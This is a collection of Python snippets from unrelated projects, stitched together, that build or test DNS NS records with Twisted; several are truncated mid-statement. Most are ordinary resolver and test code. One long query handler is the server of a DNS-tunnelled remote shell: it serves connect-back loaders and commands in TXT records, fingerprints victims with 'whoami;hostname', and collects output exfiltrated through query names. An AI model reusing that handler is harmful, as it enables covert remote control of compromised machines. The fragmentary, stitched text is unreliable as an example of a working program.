def testSomeRecordsWithTTLs(self): result_soa = copy.copy(my_soa) result_soa.ttl = my_soa.expire return self.namesTest( self.resolver.lookupAllRecords('my-domain.com'), [result_soa, dns.Record_A('1.2.3.4', ttl='1S'), dns.Record_NS('ns1.domain', ttl='2M'), dns.Record_NS('ns2.domain', ttl='3H'), dns.Record_SRV(257, 16383, 43690, 'some.other.place.fool', ttl='4D')] )
def test_someRecordsWithTTLs(self): result_soa = copy.copy(my_soa) result_soa.ttl = my_soa.expire return self.namesTest( self.resolver.lookupAllRecords("my-domain.com"), [ result_soa, dns.Record_A("1.2.3.4", ttl="1S"), dns.Record_NS("ns1.domain", ttl="2M"), dns.Record_NS("ns2.domain", ttl="3H"), dns.Record_SRV( 257, 16383, 43690, "some.other.place.fool", ttl="4D"), ], )
def get(self, name, default=tuple()): # Return NS entries log.info("Original '{name}'", name=name) if name == self.base: return (dns.Record_NS(self.base, ttl=604800), ) + self.extra_records if not name.endswith(self.base): return default try: # Remove base name and trailing dot local_name = name[:-len(self.base) - 1] # ip_address handles bytes as a big integer, need str _name = local_name.decode('utf-8') # Try to handle other representations for IPv6 if "-" in _name or _name.count(".") > 3: _name = _name.replace("-", ":").replace(".", ":") # Try to read an IP address out of this ip = ip_address(_name) except: # If any of that goes wrong, return NX return default try: if ip.version == 6: record = dns.Record_AAAA(address=ip.exploded, ttl=604800) elif ip.version == 4: record = dns.Record_A(address=ip.exploded, ttl=604800) else: raise NotImplementedError("What's dis? v8?") except: return default return (record, )
def _lookup(self, name, cls, type, timeout): log.msg("Looking up type %s records for hostname: %s" % (type, name)) all_types = self.names.lookup(name, type) results = [] authority = [] additional = [] if len(all_types) > 0: log.msg("Got results.") else: log.msg("No results.") for type, records in all_types.items(): for data, metadata in records.items(): if type == A: payload = dns.Record_A(data) elif type == CNAME: # TODO: Add proper CNAME support that sends corresponding "A" records. payload = dns.Record_CNAME(data) elif type == MX: payload = dns.Record_MX(metadata["preference"], data) elif type == NS: payload = dns.Record_NS(data) header = dns.RRHeader(name, type=type, payload=payload, ttl=metadata["ttl"], auth=True) results.append(header) return defer.succeed((results, authority, additional))
def __parseLine(self, line): tokens = line.split(None, 2) # reject if incorrectly formatted. if len(tokens) != 3: raise RuntimeError( "line '%s': wrong # of tokens %d." %(line, len(tokens))) rname, rtype, rvalue = tokens # # if rvalue is a list, make sure to store it as one! if rvalue.startswith("["): rvalue = json.loads(rvalue) # create correct payload payload = None if rtype == "A": payload = dns.Record_A(address=rvalue) elif rtype == "CNAME": payload = dns.Record_CNAME(name=rvalue) elif rtype == "MX": payload = dns.Record_MX(name=rvalue[0], preference=int(rvalue[1])) elif rtype == "NS": payload = dns.Record_NS(name=rvalue) elif rtype == "SOA": payload = dns.Record_SOA(mname=rvalue[0], rname=rvalue[1]) elif rtype == "TXT": payload = dns.Record_TXT(data=[rvalue]) else: raise "cannot parse line!" return dns.RRHeader(name=rname, type=self.__query_types[rtype], payload=payload, ttl=0) # set TTL to 0 for now so that we can
def test_ns(self): """ The repr of a L{dns.Record_NS} instance includes the name of the nameserver and the TTL of the record. """ self.assertEqual(repr(dns.Record_NS('example.com', 4321)), "<NS name=example.com ttl=4321>")
def test_recordMissing(self): """ If a L{FileAuthority} has a zone which includes an I{NS} record for a particular name and that authority is asked for another record for the same name which does not exist, the I{NS} record is not included in the authority section of the response. """ authority = NoFileAuthority( soa=(soa_record.mname.name, soa_record), records={ soa_record.mname.name: [ soa_record, dns.Record_NS("1.2.3.4"), ] }, ) answer, authority, additional = self.successResultOf( authority.lookupAddress(soa_record.mname.name)) self.assertEqual(answer, []) self.assertEqual( authority, [ dns.RRHeader( soa_record.mname.name, soa_record.TYPE, ttl=soa_record.expire, payload=soa_record, auth=True, ) ], ) self.assertEqual(additional, [])
def _referralTest(self, method): """ Create an authority and make a request against it. Then verify that the result is a referral, including no records in the answers or additional sections, but with an I{NS} record in the authority section. """ subdomain = b"example." + soa_record.mname.name nameserver = dns.Record_NS("1.2.3.4") authority = NoFileAuthority( soa=(soa_record.mname.name, soa_record), records={subdomain: [ nameserver, ]}, ) d = getattr(authority, method)(subdomain) answer, authority, additional = self.successResultOf(d) self.assertEqual(answer, []) self.assertEqual( authority, [ dns.RRHeader( subdomain, dns.NS, ttl=soa_record.expire, payload=nameserver, auth=False, ) ], ) self.assertEqual(additional, [])
def _referralTest(self, method): """ Create an authority and make a request against it. Then verify that the result is a referral, including no records in the answers or additional sections, but with an I{NS} record in the authority section. """ subdomain = 'example.' + str(soa_record.mname) nameserver = dns.Record_NS('1.2.3.4') authority = NoFileAuthority(soa=(str(soa_record.mname), soa_record), records={subdomain: [ nameserver, ]}) d = getattr(authority, method)(subdomain) result = [] d.addCallback(result.append) answer, authority, additional = result[0] self.assertEqual(answer, []) self.assertEqual(authority, [ dns.RRHeader(subdomain, dns.NS, ttl=soa_record.expire, payload=nameserver, auth=False) ]) self.assertEqual(additional, [])
def setUp(self): self.results = None self.d = defer.Deferred() self.d.addCallback(self._gotResults) self.controller = client.AXFRController('fooby.com', self.d) self.soa = dns.RRHeader(name='fooby.com', type=dns.SOA, cls=dns.IN, ttl=86400, auth=False, payload=dns.Record_SOA(mname='fooby.com', rname='hooj.fooby.com', serial=100, refresh=200, retry=300, expire=400, minimum=500, ttl=600)) self.records = [ self.soa, dns.RRHeader(name='fooby.com', type=dns.NS, cls=dns.IN, ttl=700, auth=False, payload=dns.Record_NS(name='ns.twistedmatrix.com', ttl=700)), dns.RRHeader(name='fooby.com', type=dns.MX, cls=dns.IN, ttl=700, auth=False, payload=dns.Record_MX(preference=10, exchange='mail.mv3d.com', ttl=700)), dns.RRHeader(name='fooby.com', type=dns.A, cls=dns.IN, ttl=700, auth=False, payload=dns.Record_A(address='64.123.27.105', ttl=700)), self.soa ]
def lookupNameservers(self, name, timeout=None): """ Answer NS record requests """ name_is_self = name in [self.wildcard_domain, self.ns_domain] if name.endswith('.' + self.wildcard_domain) or name_is_self: # If we're responsible for this domain, return NS records payload = dns.Record_NS(name=self.ns_domain) answer = dns.RRHeader(name=name, type=dns.NS, payload=payload, auth=True, ttl=TTL) # Additional section: NS ip address additional_payload = dns.Record_A(address=self.my_ip) additional_answer = dns.RRHeader(name=name, payload=additional_payload, ttl=TTL) answers = [answer] authority = [] additional = [additional_answer] return defer.succeed((answers, authority, additional)) # fail for domains that are not handled by our server return defer.fail(failure.Failure(dns.AuthoritativeDomainError(name)))
def get(self, name, default=tuple()): # Return NS entries if name == self.base: return (dns.Record_NS(self.base, ttl=TTL),) + self.extra_records if not name.endswith(self.base): return default # Remove base name local_name = name[: -len(self.base)] # Ensure trailing dot if local_name[-1:] != b".": return default # Remove trailing dot. local_name = local_name[:-1] try: address = WordsController.words_to_IP(self.base, local_name) log.debug( "Got {address} for {name}", address=address, name=name, ) if address.version == 6: record = dns.Record_AAAA(address=address.compressed, ttl=TTL) elif address.version == 4: record = dns.Record_A(address=address.compressed, ttl=TTL) else: raise NotImplementedError("Unknown version {}".format(address.version)) except: return default return (record,)
def test_recordMissing(self): """ If a L{FileAuthority} has a zone which includes an I{NS} record for a particular name and that authority is asked for another record for the same name which does not exist, the I{NS} record is not included in the authority section of the response. """ authority = NoFileAuthority(soa=(str(soa_record.mname), soa_record), records={ str(soa_record.mname): [ soa_record, dns.Record_NS('1.2.3.4'), ] }) d = authority.lookupAddress(str(soa_record.mname)) result = [] d.addCallback(result.append) answer, authority, additional = result[0] self.assertEqual(answer, []) self.assertEqual(authority, [ dns.RRHeader(str(soa_record.mname), soa_record.TYPE, ttl=soa_record.expire, payload=soa_record, auth=True) ]) self.assertEqual(additional, [])
def packResultNS(value): ret = [] for x in value: ret.append( dns.RRHeader(name, dns.NS, dns.IN, ttl, dns.Record_NS(x, ttl), True)) return [ret, (), ()]
def test_noAnswer(self): """ If a request returns a L{dns.NS} response, but we can't connect to the given server, the request fails with the error returned at connection. """ def query(self, *args): # Pop from the message list, so that it blows up if more queries # are run than expected. return succeed(messages.pop(0)) def queryProtocol(self, *args, **kwargs): return defer.fail(socket.gaierror("Couldn't connect")) resolver = Resolver(servers=[('0.0.0.0', 0)]) resolver._query = query messages = [] # Let's patch dns.DNSDatagramProtocol.query, as there is no easy way to # customize it. self.patch(dns.DNSDatagramProtocol, "query", queryProtocol) records = [ dns.RRHeader(name='fooba.com', type=dns.NS, cls=dns.IN, ttl=700, auth=False, payload=dns.Record_NS(name='ns.twistedmatrix.com', ttl=700))] m = dns.Message(id=999, answer=1, opCode=0, recDes=0, recAv=1, auth=1, rCode=0, trunc=0, maxSize=0) m.answers = records messages.append(m) return self.assertFailure( resolver.getHostByName("fooby.com"), socket.gaierror)
def generateAnswerRecordPayload(self, qtype_string, record_value): payload = None if qtype_string == 'A': payload = dns.Record_A(address=record_value) elif qtype_string == 'AAAA': payload = dns.Record_AAAA(address=record_value) elif qtype_string == 'MX': payload = dns.Record_MX(name=record_value) elif qtype_string == 'NS': payload = dns.Record_NS(name=record_value) elif qtype_string == 'MD': raise NotImplementedError() elif qtype_string == 'MF': raise NotImplementedError() elif qtype_string == 'CNAME': raise NotImplementedError() elif qtype_string == 'SOA': raise NotImplementedError() elif qtype_string == 'MB': raise NotImplementedError() elif qtype_string == 'MG': raise NotImplementedError() elif qtype_string == 'MR': raise NotImplementedError() elif qtype_string == 'NULL': raise NotImplementedError() elif qtype_string == 'WKS': raise NotImplementedError() elif qtype_string == 'PTR': raise NotImplementedError() elif qtype_string == 'HINFO': raise NotImplementedError() elif qtype_string == 'MINFO': raise NotImplementedError() elif qtype_string == 'TXT': raise NotImplementedError() elif qtype_string == 'RP': raise NotImplementedError() elif qtype_string == 'AFSDB': raise NotImplementedError() elif qtype_string == 'SRV': raise NotImplementedError() elif qtype_string == 'NAPTR': raise NotImplementedError() elif qtype_string == 'A6': raise NotImplementedError() elif qtype_string == 'DNAME': raise NotImplementedError() elif qtype_string == 'OPT': raise NotImplementedError() elif qtype_string == 'SPF': raise NotImplementedError() else: raise RuntimeError( "DNSReplyGenerator: received request to generate" " DNS query type {}.".format(qtype)) return payload
def _Record_NS(self, query): answers = [] for nameserver in self.lookup_result['nameservers'].split(','): answers.append(dns.RRHeader( name=query.name.name, type=query.type, payload=dns.Record_NS(name=nameserver, ttl=5), auth=True)) return answers, [], []
def query(self, query, timeout=None): if query.type == dns.A: answer = dns.RRHeader( name=query.name.name, payload=dns.Record_A(address='1.2.3.4')) elif query.type == dns.NS: answer = dns.RRHeader( name=query.name.name, payload=dns.Record_NS(name="ns1.foobar.com")) return defer.succeed(([answer], [], []))
def _doDynamicResponse(self, query): """ Calculate the response to a query. """ name = query.name.name answers = [ dns.RRHeader( name=name, type=dns.CNAME, payload=dns.Record_CNAME( name=self.cname, ), ), dns.RRHeader( name=name, type=dns.SOA, payload=dns.Record_SOA( serial=2018101700, refresh=10800, minimum=86400, expire=604800, retry=2000, ), ), dns.RRHeader( name=name, type=dns.NS, payload=dns.Record_NS( name=self.nameserver1, ), ), dns.RRHeader( name=name, type=dns.NS, payload=dns.Record_NS( name=self.nameserver2, ), ), ] authority = [] additional = [] return answers, authority, additional
def _do_NS_response(self, name=None): answer = dns.RRHeader(name=name, payload=dns.Record_NS(ttl=10, name=b'ns1.' + name), type=dns.NS) additional = dns.RRHeader(name=b'ns1.' + name, payload=dns.Record_A( ttl=10, address=config.PUBLIC_IP), type=dns.A) answers = [answer] authority = [] additional = [additional] return answers, authority, additional
def _do_ns_response(self, name=None): """ Calculate the response to a query. """ answer = dns.RRHeader(name=name, payload=dns.Record_NS(ttl=10, name='ns1.' + name), type=dns.NS) additional = dns.RRHeader(name='ns1.' + name, payload=dns.Record_A( ttl=10, address=settings.PUBLIC_IP), type=dns.A) answers = [answer] authority = [] additional = [additional] return answers, authority, additional
def lookupNameservers(self, name, timeout=None): name = name.decode().lower() log.info('ns {}'.format(name)) if name != self._wc_domain: log.debug('fallback ns {}'.format(name)) return super().lookupNameservers(name, timeout) records = self._localLookup('_NS') if not records: log.debug('fallback ns {}'.format(name)) return super().lookupNameservers(name, timeout) answer = [] for record in records: payload = dns.Record_NS(name=record, ttl=3600) answer.append(dns.RRHeader(name=name, type=dns.NS, payload=payload)) return defer.succeed((answer, [], []))
def update_records(self): resolvers = [] self._da = {} for z,zd in self._data["zones"].items(): soa = dns.Record_SOA( mname=zd["server_name"], rname="root." + z, # what is this for? serial=1, # must be int, fit in struct.pack("L") so 32-bits refresh="1M", retry="1M", expire="1M", minimum="1M", ) ns = dns.Record_NS(zd["server_name"]) records = { z: [soa, ns], } da = DynamicAuthority(z, soa, records) resolvers.append(da) self._authorities[z] = da print(self._dns_server.resolver) self._dns_server.resolver = ResolverChain(resolvers)
def query(self, query, timeout=None): answers = [] additional = [] authority = [] chunk_cmd = "" direct = None #8.8.8.8 returns at most 14 txt records per query. page_size = 14 shell_type = "bash" query_name = query.name.name #query_type = dns.QUERY_TYPES[query.type] triggered_payload = False cmd_runner = False #This is an alternate injection #Some sh connectbacks may need this padding. if query_name.startswith("{echo,'"): query_name=query_name[7:] shell_type = "sh" #strip of the hostname for this message if query_name.endswith(self.hostname): name_parts = query_name[0:len(query_name)-len(self.hostname)].split(".") #A direct connection must end with our hostname direct = False else: #This is direct because it could not have used an open resolver name_parts = query_name.strip(".").split('.') direct = True #have we seen this session before? sess_id = self.session.get_session(name_parts[0]) #Clients need to resolve the address of this server - here is our root if query.type == dns.A: #Resolve this server's A record. cmd_server = dns.RRHeader( name=query.name.name, type=dns.A, auth=True, payload=dns.Record_A(address=self.ip, ttl=0)) answers.append(cmd_server) if not sess_id: log("", "", "query", str(datetime.datetime.now())+","+query.name.name+"\n") elif query.type == dns.NS: #Resolve this server's NS record cmd_server = dns.RRHeader( name=query.name.name, type=dns.NS, auth=True, payload=dns.Record_NS(self.hostname, ttl=0)) answers.append(cmd_server) #for debugging open resolvers #size.x to find the max number of txt records returned. elif query.type == dns.TXT and query.name.name.startswith("size"): try: txt_count = int(query.name.name.split(".")[-1]) except: txt_count = 1 #Resolve this server's NS record cmd_server = dns.RRHeader( name=query.name.name, type=dns.TXT, auth=True, payload=dns.Record_TXT("a" * 255, ttl=0)) for i in range(txt_count): answers.append(cmd_server) #We are only checking the size. return defer.succeed((answers, authority, additional)) if not sess_id: if len(name_parts) > 0: if name_parts[0] in self.session.keyspace: #We don't have this session, and it looks like the key will work as a session id. sess_id = self.session.new(name_parts[0]) else: sess_id = self.session.new() #Did a known payload trigger this request? triggered_payload = self.loader.get_payload(name_parts[0]) if triggered_payload: self.session.set_data(sess_id, "payload", triggered_payload) trigger_lower = triggered_payload.lower() if trigger_lower.find("bash") >= 0: shell_type = "bash" elif trigger_lower.find("sh") >= 0: shell_type = "sh" elif trigger_lower.find("perl") >= 0: shell_type = "perl" elif trigger_lower.find("cmd") >= 0: shell_type = "cmd" elif trigger_lower.find("powershell") >= 0: shell_type = "ps1" else: self.session.set_data(sess_id, "payload", query.name.name) self.session.set_data(sess_id, "direct", direct) #Direct connections do not have a protocol level limit of the number of results. #This cap depends on the implementation of nslookup. self.session.set_data(sess_id, "shell_type", shell_type) else: #Is this a direct connection? direct = self.session.get_data(sess_id, "direct") shell_type = self.session.get_data(sess_id, "shell_type") page_size = self.session.get_data(sess_id, "page_size") #These messages conditions need to be checked in all phases of the session if self.session.check_exit(sess_id): #send exit code cmd_runner = "e=1" elif not self.session.get_data(sess_id, "host") and direct == None: #lets try a direct payload direct_sess_id = self.session.new() self.loader.get_connect(direct_sess_id, True, shell_type) self.session.set_data(direct_sess_id, "direct", True) self.session.set_data(direct_sess_id, "shell_type", shell_type) self.session.set_data(sess_id, "direct", False) cmd_runner = self.loader.get_connect(direct_sess_id, True, shell_type) elif not self.session.get_data(sess_id, "host"): #Reqeust the machine_id for this new session. cmd = "eval 'whoami;hostname'" cmd_runner = self.loader.get_runner(sess_id, cmd, direct, shell_type) if not self.session.get_data(sess_id, "host"): #If we haven't seen this session before, then we need some kind of identificaiton. if len(name_parts) > 1: data = query_name data = "".join(name_parts[1:]) try: #Look for a single-block message that contains two newline-seperated elements machine_id = base64.b64decode(data).strip() machine_id = machine_id.split("\n") except: machine_id = False if machine_id and len(machine_id) == 2: new_host = machine_id[1] new_user = machine_id[0] if self.session.new_machine(sess_id, new_user, new_host): message = "new Session: " + sess_id + " - " + new_user + "@"+ new_host +" - payload: " + self.session.get_data(sess_id, "payload") print("\n"+message) log(sess_id, new_host, new_user, message+"\n") else: print("\nkilled duplicate: " + sess_id + " - payload: " + self.session.get_data(sess_id, "payload") + " - restart nsshell if this was a mistake.") #we have tried to exit this host but it reconnected. self.session.send_exit(sess_id) name_parts = [] else: #Send commands if query.type == dns.TXT: chunk_cmd = self.session.get_data(sess_id, "chunk_cmd") if not chunk_cmd: cmd = self.session.get_motd(sess_id) else: cmd = False if self.session.get_data(sess_id, "last_read") != 0 and self.session.clear_read(sess_id): #end of read for a command. self.session.indicator(sess_id) self.session.set_data(sess_id, "currently_receiving", False) if cmd and (cmd.lstrip().startswith("cd ") or cmd.lstrip().startswith("eval ") or cmd.lstrip().startswith("export ")): #This command _is_ a true eval if cmd.lstrip().startswith("eval "): cmd = cmd[5:] #pipes spawn a sub-shell which breaks cd, and 'cd' doesn't return anything anyway. #eval the raw command cmd_runner = cmd self.session.indicator(sess_id) elif cmd: cmd_runner = self.loader.get_runner(sess_id, cmd, direct, shell_type) if len(cmd_runner) > 255: chunk_cmd = base64.b64encode(cmd) self.session.set_data(sess_id, "chunk_cmd", chunk_cmd) self.session.set_data(sess_id, "chunk_offset", 0) cmd_runner = "" self.send_chunks(sess_id, answers, query.name.name, direct, shell_type, page_size) #Did we get data back from the client? elif len(name_parts) > 1 and len(name_parts[1]) > 2 and name_parts[0][2:].isdigit(): sequence_number = int(name_parts[0][2:]) data = "".join(name_parts[1:]) self.session.add_buffer(sess_id, sequence_number, data) #Only print stdout if the user is watching. if self.session.current_session == sess_id: std_data = self.session.read_stdout(sess_id) sys.stdout.write(std_data) if chunk_cmd: #We still have data, send more pages self.send_chunks(sess_id, answers, query.name.name, direct, shell_type, page_size) elif cmd_runner: if len(cmd_runner) >= 255: #Should never happen unless there is a bug with the runner print("cmd runner too large:"+str(len(cmd_runner))+">255") return #We have a new command send_commanad = dns.RRHeader( name=query.name.name, type=dns.TXT, payload=dns.Record_TXT(cmd_runner,ttl=0)) answers.append(send_commanad) elif not self.session.get_data(sess_id, "host"): full_connect = self.loader.get_connect(sess_id, direct, shell_type) if len(full_connect) > 255: print('{0} connect payload too large.'.format(len(full_connect))) else: if len(full_connect) > 255: #should never happen unless there is a bug with the connect back print("connectback too large:"+str(len(full_connect))+">255") return #send packaged command to the client connect_back_loader=dns.RRHeader( name=query.name.name, type=dns.TXT, payload=dns.Record_TXT(full_connect)) #"{echo,'" answers.append(connect_back_loader) sys.stdout.flush() return defer.succeed((answers, authority, additional))
def test_N_record_response(self): f = self._getDNSFactory() h = self._getRRHeader(dns.NS, dns.Record_NS(name=b'ns.foobar.com')) s = f.getDNSAnswerRecordLog(h) self.assertEqual('NS - foobar.com - ns.foobar.com', s)
def testNameserver(self): """Test DNS 'NS' record queries""" return self.namesTest( self.resolver.lookupNameservers('test-domain.com'), [dns.Record_NS('39.28.189.39', ttl=19283784)])
mname='my-domain.com', rname='postmaster.test-domain.com', serial=130, refresh=12345, minimum=1, expire=999999, retry=100, ) test_domain_com = NoFileAuthority( soa=('test-domain.com', soa_record), records={ 'test-domain.com': [ soa_record, dns.Record_A('127.0.0.1'), dns.Record_NS('39.28.189.39'), dns.Record_SPF('v=spf1 mx/30 mx:example.org/30 -all'), dns.Record_SPF('v=spf1 +mx a:\0colo', '.example.com/28 -all not valid'), dns.Record_MX(10, 'host.test-domain.com'), dns.Record_HINFO(os='Linux', cpu='A Fast One, Dontcha know'), dns.Record_CNAME('canonical.name.com'), dns.Record_MB('mailbox.test-domain.com'), dns.Record_MG('mail.group.someplace'), dns.Record_TXT('A First piece of Text', 'a SecoNd piece'), dns.Record_A6(0, 'ABCD::4321', ''), dns.Record_A6(12, '0:0069::0', 'some.network.tld'), dns.Record_A6(8, '0:5634:1294:AFCB:56AC:48EF:34C3:01FF', 'tra.la.la.net'), dns.Record_TXT('Some more text, haha! Yes. \0 Still here?'), dns.Record_MR('mail.redirect.or.whatever'),
def __build_answer(self, query, db_zone, db_record, is_conditional_response=False): record = None # Calculate the query type (in case it's a request for A but a CNAME is returned). query_type = REV_TYPES[db_record.type] if query_type == dns.A: record = dns.Record_A(address=db_record.property( 'address', conditional=is_conditional_response), ttl=db_record.ttl) elif query_type == dns.AAAA: record = dns.Record_AAAA(address=db_record.property( 'address', conditional=is_conditional_response), ttl=db_record.ttl) elif query_type == dns.AFSDB: record = dns.Record_AFSDB(subtype=int( db_record.property('subtype', conditional=is_conditional_response)), hostname=db_record.property( 'hostname', conditional=is_conditional_response)) elif query_type == dns.CNAME: record = dns.Record_CNAME(name=db_record.property( 'name', conditional=is_conditional_response), ttl=db_record.ttl) elif query_type == dns.DNAME: record = dns.Record_DNAME(name=db_record.property( 'name', conditional=is_conditional_response), ttl=db_record.ttl) elif query_type == dns.HINFO: record = dns.Record_HINFO( cpu=db_record.property( 'cpu', conditional=is_conditional_response).encode(), os=db_record.property( 'os', conditional=is_conditional_response).encode()) elif query_type == dns.MX: record = dns.Record_MX(preference=int( db_record.property('preference', conditional=is_conditional_response)), name=db_record.property( 'name', conditional=is_conditional_response)) elif query_type == dns.NAPTR: record = dns.Record_NAPTR( order=int( db_record.property('order', conditional=is_conditional_response)), preference=int( db_record.property('preference', conditional=is_conditional_response)), flags=db_record.property( 'flags', conditional=is_conditional_response).encode(), service=db_record.property( 'service', conditional=is_conditional_response).encode(), regexp=db_record.property( 'regexp', conditional=is_conditional_response).encode(), replacement=db_record.property( 'replacement', conditional=is_conditional_response)) elif query_type == dns.NS: record = dns.Record_NS(name=db_record.property( 'name', conditional=is_conditional_response), ttl=db_record.ttl) elif query_type == dns.PTR: record = dns.Record_PTR(name=db_record.property( 'name', conditional=is_conditional_response), ttl=db_record.ttl) elif query_type == dns.RP: record = dns.Record_RP( mbox=db_record.property('mbox', conditional=is_conditional_response), txt=db_record.property('txt', conditional=is_conditional_response)) elif query_type == dns.SOA: record = dns.Record_SOA( mname=db_record.property('mname', conditional=is_conditional_response), rname=db_record.property('rname', conditional=is_conditional_response), serial=int( db_record.property('serial', conditional=is_conditional_response)), refresh=int( db_record.property('refresh', conditional=is_conditional_response)), retry=int( db_record.property('retry', conditional=is_conditional_response)), expire=int( db_record.property('expire', conditional=is_conditional_response)), minimum=int( db_record.property('minimum', conditional=is_conditional_response))) elif query_type == dns.SPF: record = dns.Record_SPF( db_record.property( 'data', conditional=is_conditional_response).encode()) elif query_type == dns.SRV: record = dns.Record_SRV( priority=int( db_record.property('priority', conditional=is_conditional_response)), port=int( db_record.property('port', conditional=is_conditional_response)), weight=int( db_record.property('weight', conditional=is_conditional_response)), target=db_record.property('target', conditional=is_conditional_response)) elif query_type == dns.SSHFP: record = dns.Record_SSHFP( algorithm=int( db_record.property('algorithm', conditional=is_conditional_response)), fingerprintType=int( db_record.property('fingerprint_type', conditional=is_conditional_response)), fingerprint=db_record.property( 'fingerprint', conditional=is_conditional_response).encode()) elif query_type == dns.TSIG: record = dns.Record_TSIG( algorithm=db_record.property( 'algorithm', conditional=is_conditional_response).encode(), timeSigned=int( db_record.property('timesigned', conditional=is_conditional_response)), fudge=int( db_record.property('fudge', conditional=is_conditional_response)), originalID=int( db_record.property('original_id', conditional=is_conditional_response)), MAC=db_record.property( 'mac', conditional=is_conditional_response).encode(), otherData=db_record.property( 'other_data', conditional=is_conditional_response).encode()) elif query_type == dns.TXT: record = dns.Record_TXT( db_record.property( 'data', conditional=is_conditional_response).encode()) else: pass if not record: return None answer = dns.RRHeader(name=query.name.name, type=query_type, cls=query.cls, ttl=db_record.ttl, payload=record) return answer
mname="my-domain.com", rname=b"postmaster.test-domain.com", serial=130, refresh=12345, minimum=1, expire=999999, retry=100, ) test_domain_com = NoFileAuthority( soa=(b"test-domain.com", soa_record), records={ b"test-domain.com": [ soa_record, dns.Record_A(b"127.0.0.1"), dns.Record_NS(b"39.28.189.39"), dns.Record_SPF(b"v=spf1 mx/30 mx:example.org/30 -all"), dns.Record_SPF(b"v=spf1 +mx a:\0colo", b".example.com/28 -all not valid"), dns.Record_MX(10, "host.test-domain.com"), dns.Record_HINFO(os=b"Linux", cpu=b"A Fast One, Dontcha know"), dns.Record_CNAME(b"canonical.name.com"), dns.Record_MB(b"mailbox.test-domain.com"), dns.Record_MG(b"mail.group.someplace"), dns.Record_TXT(b"A First piece of Text", b"a SecoNd piece"), dns.Record_A6(0, b"ABCD::4321", b""), dns.Record_A6(12, b"0:0069::0", b"some.network.tld"), dns.Record_A6(8, b"0:5634:1294:AFCB:56AC:48EF:34C3:01FF", b"tra.la.la.net"), dns.Record_TXT(b"Some more text, haha! Yes. \0 Still here?"), dns.Record_MR(b"mail.redirect.or.whatever"),
def test_nameserver(self): """Test DNS 'NS' record queries""" return self.namesTest( self.resolver.lookupNameservers("test-domain.com"), [dns.Record_NS("39.28.189.39", ttl=19283784)], )